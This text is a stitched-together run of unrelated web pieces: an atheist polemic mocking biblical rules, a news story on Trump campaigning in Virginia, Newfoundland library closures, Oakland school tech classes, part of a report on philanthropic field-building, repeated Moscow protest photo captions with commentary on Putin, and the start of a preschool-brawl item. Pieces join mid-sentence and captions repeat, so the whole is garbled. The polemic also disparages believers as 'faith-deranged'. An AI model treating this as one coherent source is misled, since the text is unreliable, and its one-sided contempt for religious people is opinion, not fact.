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nor print any marks” — tattoos — “upon you: I am the LORD” (Leviticus 19:27). Brothers, no mullets: "Do not cut the hair at the sides of your head or clip off the edges of your beard” (Leviticus 19:27). Nevertheless, dress nattily: “Do not wear clothes of wool and linen woven together” (Deuteronomy 22:11). Sisters, betake yourselves to a nunnery -- for clothes, if nothing else. “Women should adorn themselves modestly and sensibly in seemly apparel, not with braided hair or gold or pearls or costly attire” (l Timothy 2:9).
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Before setting out to follow Jesus, remember to violate Commandment 5 and abhor your parents. "If anyone comes to me and does not hate father and mother, wife and children, brothers and sisters -- yes, even their own life -- such a person cannot be my disciple” (Luke 14:26). Do, however, abhor discreetly, for if you curse Mom and Dad aloud, they have the right to cut you down on the spot (Leviticus 20:9). Don’t talk with any wizards (ibid, 20:6) or get it on with your sister-in-law, or eat fat (ibid 3:17), or attend church for thirty-three days after birthing a boy (you’ll be unclean), or sixty-six days if it’s a girl, you’ll be doubly unclean (Ibid 12:4-5).
I could go on and on, but you get the point. Thomas Jefferson described “the Christian god [as] a being of terrific character — cruel, vindictive, capricious, and unjust.” In modern parlance, the Lord is psychotic, and stands in need of urgent psychiatric treatment for an out-of-control Type A personality, pathological solipsism and wanton sadism. It should surprise no one that damnable nonsense is His rule book’s warp and woof, with even the supposedly more humane New Testament deserving disdain as a farrago of “forgeries and lies” (to quote Thomas Paine). The Bible, in the end, merits mercilessly swift dispatch into the dustbin of history, or preservation as an anthropological curiosity, nothing more. Anyone considering it our wellspring of joy is not to be trusted.
So how is it that Chief Justice Moore suffers no opprobrium for saying that you “can’t help but be happy if you follow God’s law?”
Because we commit a sort of secular sin of omission and let him, either out of mistaken notions of politesse or the erroneous belief that criticizing religion as ideology equates with insulting someone personally. This has to stop. Every time we encounter faith-deranged individuals spouting supernatural nonsensicalities, we should request explanations and evidence. We might also cite the above-noted biblical passages and ask how they possibly square with modern life in a developed country. If they say those parts don’t apply nowadays, ask them which verses in the Bible permit them to so pick and choose. By steady, patient questioning, you will expose faith for what it is: finely crafted garbage.
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We should not suffer evangelical fools gladly or allow them to determine the boundaries of discourse. We should take to heart the key maxim of British philosopher and mathematician William K. Clifford: “It is wrong, always, everywhere, and for anyone, to believe anything upon insufficient evidence.” We should point out that we have no problem with privately held religious beliefs, but we will protest and object to any attempt to impose such beliefs or restrictions deriving thereof on us or others.
Resist. You have a world of hard-won rights and secular sanity to preserve, and everything to lose.Donald Trump, shown here during a rally Friday in Pennsylvania, surprised political strategists with a visit to Virginia Beach the next day. (Justin Merriman/Getty Images)
Donald Trump, never short on campaign shockers, pulled one off Saturday simply by setting foot in Virginia.
The Republican presidential nominee’s rally in Virginia Beach, part of a renewed push here that includes a $2 million television ad buy, flabbergasted political analysts and GOP strategists who have considered the swing state off the table for months.
Trailing Democrat Hillary Clinton by double digits in the latest Virginia polls, Trump will dispatch key surrogates — his children — for a series of visits to Northern Virginia this week. His campaign said Trump and running mate Mike Pence will return to the state “a lot” before Election Day.
“There is absolutely no logical reason for Trump to be spending resources in Virginia,” said Jennifer Duffy, a senior editor for the nonpartisan Cook Political Report. “Especially since there are a handful of very tight states out there that could use those resources.”
Virginia-based GOP consultant Tucker Martin wrote on Twitter that the reality star’s chances were as low as they could go in a state that sent George Washington, Thomas Jefferson and six other native sons to the White House.
Republican presidential nominee Donald Trump said, "There are no more decent, devoted and selfless people than our Christian brothers and sisters" during a rally at Regent University in Virginia Beach on Saturday. (Reuters)
“He’s at 29% in Va.,” Martin tweeted this week. “Which is what you would get if you got nominated, burnt down Monticello, and then went on vacation until November.”
Some Republicans are bitter about the Virginia focus, which they variously attribute to inept campaign strategists, the billionaire’s stubborn pride, and even a desire to protect the Trump brand in a state where the family owns a winery and a golf course. The most positive take was that it was a head fake — a bid to project strength nationally following reports, disputed by the campaign but damaging nonetheless, that Trump was pulling out of Virginia.
“I think it’s an absolute joke, the notion that he would continue to make a pitch for Virginia,” said a senior GOP strategist, who spoke on the condition of anonymity to be frank about the party’s nominee. “It is the most unprofessional campaign in modern presidential history. Don’t assume there’s a strategy.”
Duffy said there was no use trying to explain it.
“Logic hasn’t applied to anything this campaign has done,” she said. “It’s time to stop looking for it.”
Trump campaign officials insist he remains viable in Virginia, which has 13 electoral votes.
They put little stock in the polls, noting that many surveys seemed to underestimate support for Republicans in the 2013 race for Virginia governor and the 2014 contest for one of the state’s U.S. Senate seats. Democrat Terry McAuliffe beat Ken Cuccinelli II in the governor’s race and Sen. Mark R. Warner defeated Ed Gillespie for Senate, but both wins were squeakers, not the comfortable victories that had been projected.
“Look at Ken Cuccinelli, Ed Gillespie — Virginia breaks so late,” said Mike Rubino, Trump’s Virginia senior adviser. “For a state that breaks late, why would you pull out at the end? This is when it gets fun.”
John Fredericks, a conservative radio-show host and chairman of Trump’s Virginia campaign, also said it made sense to stick with Virginia.
“We know that we can pull the upset off,” Fredericks said. “I’m telling you we have a chance to win this state. Otherwise we wouldn’t be putting in resources in the final 20 days. Nobody does that.”
Many political strategists said Trump would be better served camping out in Florida, North Carolina, Ohio and Pennsylvania.
Virginia was expected to be very much in play this year. After helping send Lyndon B. Johnson to the White House in 1964, Virginia went reliably red in presidential races until Barack Obama came along in 2008. He won the state again in 2012.
Virginia’s demographic trends favor Democrats in statewide races. And Clinton picked a Virginian, Sen. Tim Kaine, as her running mate. But Republicans came close to beating Democrats in the last races for governor, attorney general and U.S. Senate. And they hold a majority of the state’s seats in Congress and the General Assembly.
[Stars align for Clinton in Virginia as swing state appears solidly in her column]
Some officials with the Trump campaign and the Republican National Committee never thought it made much sense to focus on Virginia, in part because the state did not have a Senate race on the ballot.
Corey Stewart, Trump’s former Virginia co-chairman, has complained bitterly about those calculations. The campaign fired him on Oct. 10 after he joined a protest at RNC headquarters in which Trump supporters accused establishment Republicans of diverting funds raised for Trump in Virginia to down-ballot races in other states. Stewart said he was forced to appeal directly to members of the Trump family but never got any follow-through from the RNC.
“It’s been a pattern of reaching out to Trump family, pressure put on the RNC, the RNC temporarily say, ‘Okay, fine. We’ll do that,’ and they promise the resources but they never materialized,” Stewart told The Washington Post shortly after his firing.
Asked more recently for comment, Stewart declined to discuss the RNC but said “the Trump family is very personally committed to trying to win Virginia.”
[You’re fired: Trump campaign dumps Virginia state chair Corey Stewart]
The campaign’s commitment to Virginia has shifted at times as leaders at Trump headquarters have come and gone, Fredericks said. It reached a low point under Paul Manafort, who resigned as campaign chairman in August, Fredericks said.
“We didn’t have a down-ballot [Senate] race, so we got nothing from him, zero,” he said. “We got totally hosed. When Trump fired him, that’s when we... got the resources we’d been needing.
Manafort did not respond to a request for comment.
Fredericks said current campaign leadership, as well as the RNC and the Trump family, have been attentive to Virginia, but it remains a balancing act.
“When you’ve got limited resources to allocate in a campaign... obviously there’s gonna be some within the Republican National Committee who feel, give the resources to the states that have the down-ballot races,” Fredericks said. “That shouldn’t be a shocker to anybody.”
Until the new ad campaign was launched last week, Trump had been off the air in Virginia since about Labor Day. But Trump and Pence never stopped visiting the state. Trump has made at least eight visits since July, five of those since September. Pence has made four trips in October alone, one of them a three-day tour coinciding with the vice-presidential debate in Farmville.
Trump’s team announced the TV buy and the Saturday rally at a low point in the Virginia campaign. On Oct. 13, NBC reported, based on anonymous sources, that Trump was pulling out of Virginia. The newly ousted Stewart confirmed the report. The Trump campaign acknowledged it was moving a handful of staffers to North Carolina for early voting but said they would be back.
Days later, it offered the ads and planned appearance as proof that it was doubling down in the state.
[Trump campaign insists it’s not quitting in Virginia, just moving staff for now]
“Donald Trump’s kind of one of those guys who competes because he’s got a chip on his shoulder,” said one Republican insider, who spoke on the condition of anonymity in order not to offend Trump. “I think it’s more a pride thing. He’s not a quitter. He hasn’t pulled out of any states.”
Tom Davis, a moderate former Republican congressman from Northern Virginia, finds Trump’s continued push in Virginia surprising. But he does not dismiss the strategy entirely.
“As you look at his path to victory at this point, Virginia is probably not their highest priority,” he said. “But I would also add Democrats have always over-polled in Virginia. You look at Cuccinelli’s race.... I’d also add this is a hard campaign to second-guess because he beat everyone in the primaries.”
In any case, the whole thing reminds Davis of a movie.
“Have you ever seen the movie ‘How to Lose a Guy in 10 Days’?” he asked. “She’s got to lose this guy. It’s Kate Hudson. He keeps coming back. It kind of reminds me of Trump.”The library board in Newfoundland and Labrador announced sweeping changes to its services Wednesday, adopting a regional library model which will see 54 branches close in the next two years.
The board met Tuesday to discuss how best to deal with a $1-million loss in its annual budget, a cut announced in the provincial budget.
"It's tough on everybody," said chair Calvin Taylor.
He said the board is just doing its part to help reduce the province's deficit.
"And also in the long run, to improve the library services in Newfoundland by going with a regional library-type [of] system."
Promising improved services
Taylor said 41 libraries will remain open, and be better serviced with the $650,000 left to run the library system.
"Where money was very scarce before, we now have a little money to do something with," he said.
Taylor promised enhancements to programs at remaining libraries, e-books and books-by-mail services.
He said 85 per cent of residents in the province should be within a 30-minute drive of a remaining branch — which will be open a minimum of 30 hours a week — and available to people in a service area where they go for groceries or to do their banking.
The locations of the affected libraries have not yet been released, as the board is still notifying employees.
Taylor said it's going to have a "major impact" on the 64 people losing their jobs.
'Something had to change'
Education Minister Dale Kirby said few people were using the libraries that are being closed.
"The ones that are going to be closing are open on average only 18 hours a week," he said. "And they have low levels of usage,well, because they're not open very often. So clearly something had to change."
When reminded of comments he made in 2013 as a New Democrat, before joining the Liberal Party, calling library cuts "an attack on literacy," Kirby said he now has a new perspective.
"It's pretty easy to sit in the opposition benches and criticize the activities of government without having all the information," Kirby told reporters at the House of Assembly on Wednesday.
"It was certainly unknown to me at the time that the public libraries board themselves were advocating for government to either increase investment or to close some of these libraries that had very limited hours of service."
Both Kirby and the library board have said that communities which house their libraries in municipal buildings will be given the opportunity to take them over, if they can afford to.
Budget 2016 has also been criticized for bringing in a 10 per cent book tax, which makes Newfoundland and Labrador the only province in Canada to tax books.
Publishers and writers have called that a blow in a province with some of the lowest literacy scores in the country.
Taylor said that tax does not apply to books the library purchases.
He said literacy rates were low 25 years ago when the province had more than 100 libraries.
He's hoping that fewer libraries, with longer hours and better resources, "will actually be able to make a contribution towards reducing illiteracy."They spent the summer refurbishing computers, building apps and creating games and virtual reality experiences.
On Monday, they will go back to school, hastening to bring similar opportunities to the classroom.
Middle and high school students in Oakland Unified School District are increasingly seeking out tech education outside the classroom. But this year, the school district will offer computer science and tech classes in more than 70 percent of its secondary schools, an effort to give students an early start in technology and an entry to the Bay Area’s burgeoning tech sector. The number of Oakland teachers trained to conduct such classes has grown more than tenfold since last year.
Oakland’s tech curriculum — and, in some cases, specific classes — was conceived with help and inspiration from some of the many groups striving to increase tech literacy among East Bay kids.
Organizations such as Hack the Hood and Hidden Genius Project work to build a bridge between communities and the tech companies that have moved into their neighborhoods. Throughout the summer, they have offered training, internships and mentoring to kids who otherwise may not have access to tech education, the Internet or their own computer.
All of the groups “are doing great work, and most of our arrows are pointing in the same direction, so now it’s time we all get swimming down the same stream,” said Claire Shorall, Oakland Unified’s manager of computer science. “The work is moving, we’re making progress, but it’s far from done.”
At an event at Impact Hub in Oakland’s Uptown neighborhood Thursday night, 11 of those groups convened to show off the work their students had done over the summer.
The event, organized by the East Bay College Fund, had a science fair feel to it — students with poster board and sample equipment explained what they did and how they did it to curious adults and students from other schools.
Students from Skyline High School worked with We Care Solar to build “solar suitcases” — bags packed with wires and circuits that act as portable energy sources. They can be sent to areas with unreliable or limited electricity to power medical clinics and schools in developing countries.
Skyline student Mugisha Mutahaba, 16, learned to refurbish computers for a program in West Oakland that provides used electronics to low-income families. He’ll be starting his senior year on Monday with college applications on his mind.
“Technology is so fascinating,” he said, as he rattled off the names of different drives and parts of a disassembled computer.
At #YesWeCode, two young women invited passersby to apply for the group’s coding program, which sends participants from groups underrepresented in tech fields — women and non-Asian people of color — through a four-week boot camp. The program eventually places them in Bay Area tech companies for paid apprenticeships.
Students working at Youth Radio, a nonprofit station whose programs are run and produced by young people, learned to design educational mobile apps and interactive Web features.
Gameheads, which preps young people from diverse backgrounds for careers in the gaming industry, showcased nearly a dozen students who are creating socially conscious video games that deal with issues of teenage self-doubt and the political minefield of immigration.
Hidden Genius Project, which trains and mentors black male youths, and developer boot camp Hack the Hood, which focuses on low-income students of color, are already working with Oakland Unified.
The goal, Shorall said, is to have computer science classes in every elementary, middle and high school by 2020.
“There are 12-year-olds out here who built a game or are doing VR stuff, and I have to be responsive to that kid when they get back to school,” she said. “We need to be able to push that kid’s growth and development, while also keeping in mind there are a lot of kids we work with who weren’t in that room. How do we get them engaged, too?”
Marissa Lang is a San Francisco Chronicle staff writer. Email: mlang@sfchronicle.com Twitter: @Marissa_JaeAs part of our research on the history of philanthropy, I (Luke Muehlhauser) investigated several case studies of early field growth, especially those in which philanthropists purposely tried to grow the size and impact of a (typically) young and small field of research or advocacy. As discussed below, my investigations had varying levels of depth.
Those interested in further reading on the cases discussed here can consult the annotated bibliography, which gives brief notes on the sources I found most helpful.
Published: April 2017, Updated: August 2017
My process and key takeaways
To find potential case studies on philanthropic field-building, I surveyed our earlier work on the history of philanthropy, skimmed through the many additional case studies collected in The Almanac of American Philanthropy, asked staff for additional suggestions, and drew upon my own knowledge of the history of some fields.
My choices about which case studies to look at more closely were based mostly on some combination of (1) the apparent similarity of the case study to our mid-2016 perception of the state of the nascent field of research addressing potential risks from advanced AI (the current focus area of ours where the relevant fields seem most nascent, and where we’re most likely to apply lessons from this investigation in the short term), and (2) the apparent availability and helpfulness of sources covering the history of the case study.
I read and/or skimmed the sources listed in the annotated bibliography below, taking notes as I went. I then wrote up my impressions (based on these notes) of how the relevant fields developed, what role (if any) philanthropy seemed to play, and anything else I found interesting. After a fairly thorough look at bioethics, I did quicker and more impressionistic investigations and write-ups on a number of other fields.
My key takeaways — both from the case studies I describe below and from some other case studies I studied briefly but do not describe below — are:
Most of the “obvious” methods for building up a young field have been tried, and those methods often work. For example, when trying to build up a young field of academic research, it often works to fund workshops, conferences, fellowships, courses, professorships, centers, requests for proposals, etc. Or when trying to build up a new advocacy community, it often works to fund student clubs, local gatherings, popular media, etc.
Fields vary hugely along several dimensions, including (1) primary sources of funding (e.g. large philanthropists, many small donors, governments, companies), (2) whether engaged philanthropists were “active” or “passive” in their funding strategy, and (3) how much the growth of the field can be attributed to endogenous factors (e.g. explicit movement-building work) vs. exogenous factors (e.g. changing geopolitical conditions).
Besides these major takeaways, I also learned many more specific things about particular fields. For example:
The rise of bioethics seems to be a case study in the transfer of authority over a domain (medical ethics) from one group (doctors) to another (bioethicists), in large part due to the first group’s relative neglect of that domain. [More]
In the case of cryonics and molecular nanotechnology, plausibly growth-stunting adversarial dynamics arose between advocates of these young fields and the scientists in adjacent fields (cryobiology and chemistry, respectively). These adversarial dynamics seem to have arisen, in part, due to the young fields’ early focus on popular outreach prior to doing much scientific or technical work, and their disparagement of those in adjacent fields. [More]
The rise of neoliberalism is a victory for an explicit strategy of decades-long investment in the academic development and intellectual spreading of a particular set of ideas, though this model may not work as well when the ideas themselves don’t happen to benefit a naturally well-resourced set of funders (large corporations and their wealthy owners, as in the case of neoliberalism). [More]
A small group of funders of the conservative legal movement managed to critique their own (joint) strategy, change course, and succeed as a result. [More]
The rise of the environmental and animal advocacy movements contrast sharply with the cases above, both because they grew mostly via a large network of small funders rather than a small network of large funders, and because many of those movements’ activities do not materially benefit any funder or political actor (e.g. in the case of wilderness preservation or campaigns against factory farming). [More]
Bioethics
Annotated bibliography for this section
How bioethics began
The birth of the field of bioethics, as I understand it, provides an interesting case study in the transfer of authority over a domain (medical ethics) from one group (doctors) to another (bioethicists), in large part due to the first group’s relative neglect of that domain. After consulting a few of the available histories (see below), my impression is that the field developed roughly like this:
For many decades, doctors were the presumed authorities on medical ethics, and their approach was fairly pragmatic and utilitarian, i.e. focused on competently and professionally doing what is best for the patient.
Starting in the 1960s, new medical capabilities (e.g. heart transplants) and some medical ethics scandals (e.g. the Tuskegee syphilis experiment) seemed to demand ethical analysis, but for the most part, the professional medical community generally didn’t want to spend its time with such “distractions” from the practice of medicine.
A mix of scholars, often theologians or philosophers, began to fill this void by devoting themselves full-time to studying and writing about questions of medical ethics. These people began to call themselves “bioethicists.”
Then, when some key government commissions and court cases came about in the 70s and 80s, the bioethicists had done enough work to establish themselves as “the experts” on these topics that they had a large and lasting influence on some important early laws and court decisions concerning various issues in medical ethics. Since the medical community had also neglected to develop curricular materials for teaching medical ethics, this void was also filled by texts written by bioethicists rather than by medical professionals, and thus whole generations of medical professionals were trained in the bioethicists’ early approach to medical ethics rather than (say) an approach developed by doctors.
These developments annoyed many medical professionals. In part, this was because they felt that professional medical expertise was necessary (and perhaps sufficient) for thinking through the ethical issues that arise in the practice of medicine. Another source of annoyance may have been that bioethicists of the time tended to be more theological and deontological (i.e. less utilitarian), and more cautious about developing and deploying new medical capabilities, compared to doctors.
The early laws and court decisions related to bioethics continue to have an outsized effect, though bioethicists today are probably more diverse than they were in the earliest years of bioethics, and (e.g.) many of them are explicitly utilitarian.
Perhaps the most compelling case for this “bioethics as a response to a vacuum of moral authority” account of the rise of bioethics can be found in Baker (2013), pp. 277-279:
As to the… most intriguing question, “Why was bioethics was born?”… each historian seems to touch on a piece of the answer to the question… Yet none offers a comprehensive answer to the more basic question: Why did American medicine lose jurisdiction over “medical ethics” — a subject who’s very name proclaims it part of medicine’s domain? …Before turning to this question, it is important to appreciate that none of the factors typically cited as explaining the American origins of bioethics was unique to America… Americans had no monopoly on morally disruptive innovations, and these innovations were as disruptive to medical morality and ethics in Europe and the rest of the world as they were in the United States… American medical societies adopted something akin to a self-imposed “prohibition” on medical ethics, creating the environment in which a robust alternative, bioethics, developed and was then exported worldwide. More specifically… the [AMA’s] adoption of a laissez-faire approach to medical ethics from 1903 through the 1970s was, in effect, a self-imposed prohibition against making authoritative statements on medical ethics. During this entire period, the AMA characterized its Principles of Medical Ethics as “standards by which a physician may determine the propriety of his conduct,” deeding the prerogative of interpreting professional standards to each individual physician’s personal moral sensibilities. Consequently, just as the U.S. prohibition on alcoholic beverages created a void in the marketplace that was filled by an alternative beverage industry — the colas — so, too, organized medicine’s laissez-faire abandonment of medical ethics created a void in the marketplace of ideas and a vacuum of moral authority. To fill this void, legislators, bureaucrats, the courts, and American society generally sought ideas and invested moral authority elsewhere, ultimately finding it in an oddball collection of lumpen intellentsia [definition: “A section of the intelligentsia regarded as making no useful contribution to society, or as lacking taste, culture, etc.”] who were soon valorized as ethics experts or “bioethicists.” In Europe, by contrast, organized medicine neither abandoned medical ethics nor abdicated moral authority. Consequently, just as alcoholic and caffeinated beverages retained jurisdiction over social life in European pubs and cafes, rendering soft drinks to the status of second-class beverages, so, too, organized medical and scientific societies (e.g., the British and Dutch medical societies and specialty colleges) retained jurisdiction over medical ethics — relegating aspiring European bioethicists to the status of second-tier authorities. Thus, the Royal Dutch Medical Association… was able to negotiate physician-initiated euthanasia practices with Dutch legal authorities without involving “bioethicists” in any major decision. Similarly, the British National Health Service… was also able to initiate a covert rationing scheme limiting use of dialysis and other expensive technologies to younger patients — effectively resolving the rationing problem created by the Scribner shunt by denying access to the elderly — without annoying discussions or protests from “bioethicists.” Having retained jurisdiction and moral authority over medical ethics, organized medicine in Europe had the prerogative of negotiating with governments to determine the appropriate nature of end-of-life care (euthanasia) or the allocation of scarce resources (age rationing). In America, by contrast, laissez-faire ethics rendered medicine unwilling to express authoritative moral positions and thus unable to negotiate them with the U.S. government. Thus, these issues were negotiated with “outsiders” invited into the once exclusively medical jurisdiction of “medical” ethics; that is, they were negotiated with “bioethicists.” …to deal with American medicine’s abdication from moral authority, American bureaucrats joined with government and private foundations to empower a hodgepodge of ex-theologians, lawyers, philosophers, social scientists, and humanistic nurses, physicians, and researchers to address issues raised by research ethics scandals and by morally disruptive technologies… This chapter reassembles materials that have, for the most part, been cited in standard histories of bioethics to support a vacuum-of-moral-authority explanation of why Americans invented bioethics. The account places emphasis on the dearth of “ethicists” at the early stages of “ethics regulation”; the ineffectiveness of pre-bioethical self-regulatory efforts; the role of the AMA’s opposition to Medicare, Medicaid, and the racial integration of medicine as a “distraction”; and the extent to which the AMA’s laissez-faire ethics constrained the AMA from responding to moral issues, including the AIDS epidemic.
Baker’s account (pp. 303-305) of bioethicists’ takeover of medical ethics education is similarly compelling:
As late as 1983, “A National Survey of Hospital Ethics Committees,” involving more than 400 hospitals with over 200 beds, found that only 4.3 percent had hospital ethics committees (HECs) and that most of these committees had been formed around 1977, the year after the [Karen] Quinlan [court] decision and the publication of a seminal article about an ethics committee at the Massachusetts General Hospital… In the absence of leadership from the AMA, which had opposed the very idea of ethics committees, only a few hospitals, mostly in large academic medical centers, had explored the use of ethics committees. Yet the empirical data indicated that committees were effective in ameliorating the moral distress caused by chaotic laissez-faire decision-making procedures. So the President’s Commission encouraged other hospitals to establish HECs [hospital ethics committees] by publishing in its appendix “A Model Bill to Establish Hospital Ethics Committees… Subsequently, just two years later, in 1985, the number of hospitals with HECs had climbed to 60 percent. In 1988, the Joint Commission on the Accreditation of Health Care Organizations… introduced a standard requiring the hospitals and healthcare institutions that it accredited to have the equivalent of HECs. Today, virtually all American hospitals and healthcare institutions have HECs or their equivalent. As Jonsen observes, “ethics committees were set an odd task,” for, unlike admissions committees or pathology committees, “they had no well defined task to perform; they were ordered to think about ethics, probably the vaguest and most controversial topics,” without a “touchstone beyond, perhaps, the skimpy code of the AMA.” Compounding the problem, organized medicine’s de-emphasis of medical ethics was reflected in the American medical school curriculum. Thus, in 1972, a survey of 102 American medical schools found that none of the 94 schools responding required medical students to take a course in medical ethics. To reiterate, in 1972, no American medical school offered a required course on medical ethics. [emphasis added] Fifteen medical schools openly admitted to offering no medical ethics instruction whatsoever; fifty-six responded that they touched on the subject in courses in related areas — social medicine, legal medicine, psychiatry — about one-third… gave students the option of taking an elective course on the medical ethics. Thus, in 1972, no American medical school thought medical ethics important enough to be taught to all future physicians. A decade later, in 1984 — after the advent of bioethics — 84 percent of medical schools required students to take a course in medical ethics or bioethics during their first two years of instruction. In 1998, the American Association of Medical Colleges… adopted as a learning goal for all accredited medical schools “knowledge of the theories and principles that govern ethical decision-making and of the major ethical dilemmas in medicine…” A survey a decade after that, in 2008, reported that “in compliance with the [AAMC learning objectives] all 59 medical schools in the dataset required coursework in bioethics”… The use of the term “bioethics” rather than “medical ethics” in the 2008 survey is revealing; so, too, is AAMC’s reference to “principles” and genetics in its 1998 statement of learning goals. During the era when medical schools [did not require] instruction in medical ethics, no market for medical ethics textbooks existed, and so none was published. Thus, when American medical colleges began to require instruction in the subject, instructors found Beauchamp and Childress’s Principles of Biomedical Ethics available to fill the void, and, thus, bioethical discourse and principles naturally came to occupy the space in the medical school curriculum previously taught under the rubric “medical ethics.” In consequence, the founding generation of ethics committee members and successive generations of medical students learned to talk and think in terms of bioethical principles — autonomy, justice, nonmaleficence, and beneficence — rather than in the in terms of the AMA’s Principles or other traditional discourses of medical ethics.
Of course, my summary here is a gross oversimplification of a complicated historical development. Moreover, it might be substantially wrong: certainly, not every bioethicist is likely to agree with my summary, and my impressions come only from reading or skimming a few of the major published histories of bioethics and drawing my own tentative conclusions.
The role of philanthropy
The birth of bioethics was substantially funded by philanthropists, among other sources (notably, the National Endowment for the Humanities). For example:
The Rockefeller Foundation provided substantial initial funding for the Hastings Center, the first major institute focused on bioethics. As the Hastings Center grew during the 1970s, it continued to be substantially funded by philanthropists. Among other early activities, the Hastings Center hired some staff researchers, organized workshops, created a visiting scholars program, and created The Hastings Center Report, which soon became the leading journal in the field.
The Kennedy Foundation funded the 1971 creation of the Kennedy Institute of Ethics, the second major bioethics institute. Within 3 years, the Kennedy Institute grew to 20 full-time scholars and 55 graduate students. Among other things, the Institute built a large research library on bioethics, organized lectures and symposia and classes, produced TV programs on bioethics, edited an encyclopedia and bibliography of bioethics, and more. Early hires at the Kennedy Institute authored the Belmont Report and the Principles of Biomedical Ethics, two of the most influential documents in the history of the field.
The Kennedy Foundation also funded, for example, a 1972 medical ethics program at Harvard’s School of Public Health, and (in 1973) “the first full-fledged medical school program in medical ethics” at the University of Wisconsin.
The Russell Sage Foundation provided substantial initial funding for the Society for Health and Human Values, another early bioethics institute (albeit less influential than the Hastings Center and the Kennedy Institute).
In general, it seems to me that philanthropists and other early funders of bioethics did most of “the obvious things” one might do to build up a new field, and they “got lucky” in what a revolutionary impact those early efforts had (see previous section). As far as I can tell, for $10-$20M in funding from the late 1960s through the 1970s, these funders likely played a major role in completely revolutionizing the field of medical ethics. (Whether this revolution was a positive or negative development overall has been debated, and there is room to debate how important philanthropy was to it, but the revolution’s impact is not debatable.)
What was the counterfactual difference made by philanthropy in this case? The sense I got from my readings is that the field would have grown much more slowly if not for the early philanthropic funders, but it’s hard to know for sure.
To what degree were bioethics’ early philanthropic funders “passive” vs. “active” (see this blog post)? Unfortunately, I didn’t learn much about this from my readings, but one could learn about this by talking to the early funders and grantees, as many of them are still alive.
Case studies I investigated less thoroughly
I looked at several other case studies of field building, but I investigated them less thoroughly than I investigated the case of bioethics. Below, I summarize my impressions about these other case studies, based on the sources listed in the annotated bibliography. To save time, I (mostly) do not cite or quote the specific sources for my impressions (like I did in the above section on bioethics). Compared to my impressions about bioethics, my impressions about the case studies covered below are even more likely to be mistaken.
Failure modes in cryonics and molecular nanotechnology
Annotated bibliographies for this section: cryonics, nanotechnology
Two fields I studied — cryonics and molecular nanotechnology — saw especially slow, anemic field growth. Since they also exhibited some of the same apparent “failure modes,” I’ll discuss them together.
Cryonics refers to the “low-temperature preservation… of people who cannot be sustained by contemporary medicine, with the hope that resuscitation and restoration to full health may be possible in the far |
12 Demonstrators in downtown Moscow hold a poster which reads “We demand a fair election”. AFP/Getty 6/12 Demonstrators walk down Tverskaya street during the unauthorized anti-Kremlin rally AFP/Getty 7/12 Riot police block an area AFP/Getty 8/12 Demonstrators clench their fists during the rally. Opposition leader Alexei Navalny has worked to organize protests in support of his presidential bid across Russia on Saturday AP 9/12 Demonstrators gather near a monument of Russian poet Alexander Pushkin AFP/Getty 10/12 Demonstrators march and wave a Russian flag AFP/Getty 11/12 A topless activist from the feminist group Femen depicts American actress Marilyn Monroe singing the “happy birthday” song EPA 12/12 “On the birthday of Russian dictator Vladimir Putin, Femen wants to remind the world of the threat that it bears to all of us, and not only to those countries where it has now launched bloody wars,” Femen said. AFP/Getty 1/12 An opposition activist wearing a rubber mask depicting Russian President Vladimir Putin walks past gift boxes with lettering reading “trial”, “resignation”, “impeachment”, “true election” and others during an event dedicated to Putin’s 65th birthday in downtown Moscow, October 7 2017 AFP/Getty 2/12 Demonstrators holding yellow ducks are interviewed by journalists as they arrive for the rally AP 3/12 A demonstrator chats slogans during the unauthorized anti-Kremlin rally called by jailed opposition leader Alexei Navalny AFP/Getty 4/12 Demonstrators shout slogans and wave Russian flags during the rally in Moscow AP 5/12 Demonstrators in downtown Moscow hold a poster which reads “We demand a fair election”. AFP/Getty 6/12 Demonstrators walk down Tverskaya street during the unauthorized anti-Kremlin rally AFP/Getty 7/12 Riot police block an area AFP/Getty 8/12 Demonstrators clench their fists during the rally. Opposition leader Alexei Navalny has worked to organize protests in support of his presidential bid across Russia on Saturday AP 9/12 Demonstrators gather near a monument of Russian poet Alexander Pushkin AFP/Getty 10/12 Demonstrators march and wave a Russian flag AFP/Getty 11/12 A topless activist from the feminist group Femen depicts American actress Marilyn Monroe singing the “happy birthday” song EPA 12/12 “On the birthday of Russian dictator Vladimir Putin, Femen wants to remind the world of the threat that it bears to all of us, and not only to those countries where it has now launched bloody wars,” Femen said. AFP/Getty
Then again, as seen from the Kremlin, there is unfinished business. There can be no real east-west rapprochement in Europe without a settlement on Ukraine. Putin had clearly hoped for improved relations with the US, which the anti-Russia frenzy in Washington has so far blocked. It seems to me, though, that neither Donald Trump nor Putin has yet given up all hope: note the absence of personal scolding between them. What is more, Russia seems to have adopted a new restraint, at least in the rhetoric of its foreign policy: has it identified near-silence as a novel form of soft-power? Could this be the starting point of Putin’s fourth term? And if it is, can it hold?
After 17 years at the top of Russian politics, Putin is now Europe’s longest-serving leader (no Stalin parallels are necessary). He is constitutionally within his rights to seek another six years. And while a decision not to stand would have made for an absorbing election and the emergence of a whole new political landscape, that landscape has so far evolved only slowly. Some of those who emerged as political players as the Soviet Union disintegrated more than 25 years ago will have their hats once again in the presidential election ring next year.
Some of the blame for such slow progress might attach to Putin’s gradual domination of Russia’s political scene; more, I would submit, to the insecurity felt by so many Russians after so many years of upheaval. Stability is not something most people want to jeopardise just now.
Still, some of the contours of the future landscape can perhaps be sensed. There is Alexei Navalny, the modern anti-corruption campaigner with a nationalist edge, who has been stumping the country and drawing big crowds. He looks likely to be barred as a candidate because of a – probably trumped-up – criminal conviction, but he has a constituency, and it will still be there.
The latest entrant, Ksenia Sobchak, is a household name in Russia, having made her name in reality TV, but she also moves easily not just in the inner circles of power – as the daughter of the first democratic mayor of St Petersburg who was also a patron of Putin – but among the new middle-class opposition that reared its head before the last presidential election in 2012. Again, her constituency may transcend her personal appeal. Can we glimpse, perhaps, in these vivid personalities, in secondary tiers of government, and in the regions, the early shoots of post-Putin politics?
As things stand, Vladimir Putin could hold office until 2024, by which time he will be 71. Might he misjudge the public mood and outlast his welcome? Might he decide to bequeath power earlier, to secure the succession, like Boris Yeltsin before him? Or could it be that Russia’s next-but-one presidential election will offer Russians a free, fair, orderly and open choice? Don’t bet on it, you may say. But don’t bet against it, either.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe nowAn L.A. Preschool Graduation Turns Into A Brawl
As the father of an almost 3-year-old, I know the preschool years can get pretty rowdy.
But what happened during a Los Angeles preschool graduation ceremony is almost unbelievable:
YouTube
